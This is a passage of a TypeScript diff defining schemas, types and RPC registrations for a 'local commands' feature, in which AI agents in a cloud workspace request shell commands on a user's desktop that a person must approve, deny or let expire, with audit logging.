.max(LOCAL_COMMAND_MAX_CWD_CHARS)
.refine((value) => !hasHiddenCharacters(value) && !/[\t\n]/.test(value), 'hidden_characters')
.refine(
(value) => value === '~' || value.startsWith('~/') || value.startsWith('/'),
'cwd_not_absolute'
)
export const LocalCommandRequestParamsSchema = z
.object({
command: LocalCommandText,
cwd: LocalCommandCwd.optional(),
timeoutSec: z.number().int().min(1).max(LOCAL_COMMAND_MAX_TIMEOUT_SEC).optional(),
reason: z
.string()
.max(LOCAL_COMMAND_REASON_MAX * 4)
.transform(sanitizeLocalCommandReason)
.pipe(z.string().max(LOCAL_COMMAND_REASON_MAX))
.optional(),
/** A hint, kept only when this orcad knows the worktree. */
worktreeId: z.string().min(1).max(512).optional()
})
.strict()
export type LocalCommandRequestParams = z.infer<typeof LocalCommandRequestParamsSchema>
export const LocalCommandIdParamsSchema = z.object({ requestId: RequestId }).strict()
export const LocalCommandAttachParamsSchema = z
.object({ desktopVersion: z.string().max(64).optional() })
.strict()
const OutputText = z.string().max(LOCAL_COMMAND_OUTPUT_CAP_BYTES * 2)
export const LocalCommandRunResultSchema = z
.object({
exitCode: z.number().int().nullable(),
signal: z.string().max(32).nullable(),
timedOut: z.boolean(),
durationMs: z.number().int().min(0),
stdout: OutputText,
stderr: OutputText,
truncated: z.boolean()
})
.strict()
export type LocalCommandRunResult = z.infer<typeof LocalCommandRunResultSchema>
/** Why a request ended without running. `denied` is a person's answer; the others are not. */
export const LocalCommandDeclineReasonSchema = z.enum([
'denied',
'approval_timed_out',
'not_allowed'
])
export type LocalCommandDeclineReason = z.infer<typeof LocalCommandDeclineReasonSchema>
export const LocalCommandSettleParamsSchema = z.discriminatedUnion('outcome', [
z
.object({
requestId: RequestId,
outcome: z.literal('declined'),
reason: LocalCommandDeclineReasonSchema
})
.strict(),
z.object({ requestId: RequestId, outcome: z.literal('started') }).strict(),
z
.object({
requestId: RequestId,
outcome: z.literal('finished'),
result: LocalCommandRunResultSchema
})
.strict(),
z
.object({
requestId: RequestId,
outcome: z.literal('failed'),
message: z.string().max(500)
})
.strict()
])
export type LocalCommandSettleParams = z.infer<typeof LocalCommandSettleParamsSchema>
export type LocalCommandStatus =
| 'pending'
| 'running'
| 'finished'
| 'declined'
| 'failed'
/** Nobody answered within the approval window. */
| 'expired'
/** Started, but the computer never reported back (closed, asleep, offline). */
| 'lost'
export type LocalCommandRequestResult = { requestId: string; status: 'pending' }
export type LocalCommandStatusResult = {
requestId: string
status: LocalCommandStatus
declineReason?: LocalCommandDeclineReason
result?: LocalCommandRunResult
message?: string
}
export type LocalCommandSettleResult = { accepted: boolean; status: LocalCommandStatus }
/** Sent to attached desktops when a request is made, and replayed on attach while it waits. */
export type LocalCommandRequestedEvent = {
type: 'requested'
requestId: string
command: string
/** As the agent wrote it; the desktop resolves and shows the real folder. Null: home folder. */
cwd: string | null
timeoutSec: number
/** Untrusted agent text, shown quoted and muted. */
reason: string | null
/** From the calling terminal's agent session as orcad verified it; null when unknown. */
agent: string | null
/** Relative, so the desktop's own clock decides; orcad expires the request on its clock too. */
expiresInMs: number
}
export type LocalCommandSettledEvent = {
type: 'settled'
requestId: string
status: Exclude<LocalCommandStatus, 'pending'>
}
export type LocalCommandStreamEvent =
| { type: 'ready' }
| LocalCommandRequestedEvent
| LocalCommandSettledEvent
| { type: 'end' }
/** Error codes (RPC error message) the CLI maps to guidance. */
export const LOCAL_COMMAND_ERRORS = {
/** No desktop with local commands turned on is connected to this workspace. */
noDesktop: 'local_commands_no_desktop',
tooManyPending: 'local_commands_too_many_pending',
rateLimited: 'local_commands_rate_limited',
notFound: 'local_command_not_found',
forbidden: 'local_command_forbidden',
/** Only a cloud workspace's orcad relays local commands. */
unavailable: 'local_commands_unavailable'
} as const
/** MCP server name agents see in their tool list (mcp__orca-local__run_local_command). */
export const LOCAL_COMMAND_MCP_SERVER_NAME = 'orca-local'
export const LOCAL_COMMAND_MCP_TOOL_NAME = 'run_local_command'
@@ -0,0 +1,92 @@
/** Main ↔ renderer shapes for local commands. Main holds every request; the renderer only shows and answers. */
export const LOCAL_COMMANDS_PROMPTS_CHANNEL = 'localCommands:prompts'
export const LOCAL_COMMANDS_STATE_CHANNEL = 'localCommands:stateChanged'
export type LocalCommandDecision = 'allow-once' | 'always-allow' | 'deny'
/** A request waiting for this person. Everything here except `reason` and `agent` is checked by main. */
export type LocalCommandPrompt = {
id: string
sandboxId: string
workspaceLabel: string
shared: boolean
command: string
/** The resolved folder on this computer the command runs in. */
cwd: string
timeoutSec: number
/** Agent text: show quoted and muted. */
reason: string | null
agent: string | null
/** Lookalike letters can make a command read as something else. */
hasNonAscii: boolean
/** Epoch ms on this computer's clock. */
expiresAt: number
}
export type LocalCommandWorkspaceRow = {
sandboxId: string
label: string
enabled: boolean
/** The owner chose to allow it while teammates share the workspace. */
sharedAllowed: boolean
/** From the Orca Cloud registry; null until it answers. */
shared: boolean | null
isOwner: boolean | null
/** An attach stream is open to the workspace right now. */
connected: boolean
}
export type LocalCommandAllowRule = {
id: string
sandboxId: string
workspaceLabel: string
command: string
cwd: string
createdAt: number
}
export type LocalCommandAuditOutcome =
| 'allowed-once'
| 'always-allowed'
/** Matched an "Always allow" rule; no prompt was shown. */
| 'auto-allowed'
| 'denied'
| 'timed-out'
/** This computer's rules refused it (turned off, not the owner, shared, invalid request). */
| 'refused'
/** Settled on another computer or by the workspace before this one answered. */
| 'closed'
export type LocalCommandAuditEntry = {
at: number
requestId: string
sandboxId: string
workspaceLabel: string
command: string
cwd: string | null
agent: string | null
outcome: LocalCommandAuditOutcome
detail?: string
exitCode?: number | null
signal?: string | null
timedOut?: boolean
durationMs?: number
stdoutBytes?: number
stderrBytes?: number
truncated?: boolean
}
export type LocalCommandsState = {
/** False on platforms or builds without local commands (no Orca Cloud, Windows). */
available: boolean
workspaces: LocalCommandWorkspaceRow[]
rules: LocalCommandAllowRule[]
}
export type LocalCommandSetEnabledRequest = {
sandboxId: string
enabled: boolean
/** Required to turn it on while teammates share the workspace. */
allowShared?: boolean
}
+10
View File
@@ -33,6 +33,12 @@ import {
DesktopBrowserBridgeResultParams
} from '../desktop-browser-bridge-protocol'
import { OrcadWorkVerdictParamsSchema } from '../hosted-sandbox/hosted-session-events'
import {
LocalCommandAttachParamsSchema,
LocalCommandIdParamsSchema,
LocalCommandRequestParamsSchema,
LocalCommandSettleParamsSchema
} from '../local-commands/local-command-contract'
import { MobileWebBundleChunkParamsSchema } from '../mobile-web-bundle/bundle-rpc-contract'
import { OrcaCloudEnrollDeviceParamsSchema } from '../orca-cloud-device-enrollment-contract'
import { OrcadDiskUsageParamsSchema } from '../orcad-disk-usage'
@@ -1347,6 +1353,10 @@ export const RPC_PARAMS_BY_METHOD = {
'linear.testConnection': WorkspaceSelection,
'linear.updateIssue': IssueUpdateOfLinearParams,
'linkPreview.get': LinkPreviewGetParams,
'localCommands.attach': LocalCommandAttachParamsSchema,
'localCommands.request': LocalCommandRequestParamsSchema,
'localCommands.settle': LocalCommandSettleParamsSchema,
'localCommands.status': LocalCommandIdParamsSchema,
'managedRuntime.cancel': ManagedRuntimeCancelParams,
'managedRuntime.install': ManagedRuntimeAgentParams,
'managedRuntime.remove': ManagedRuntimeAgentParams,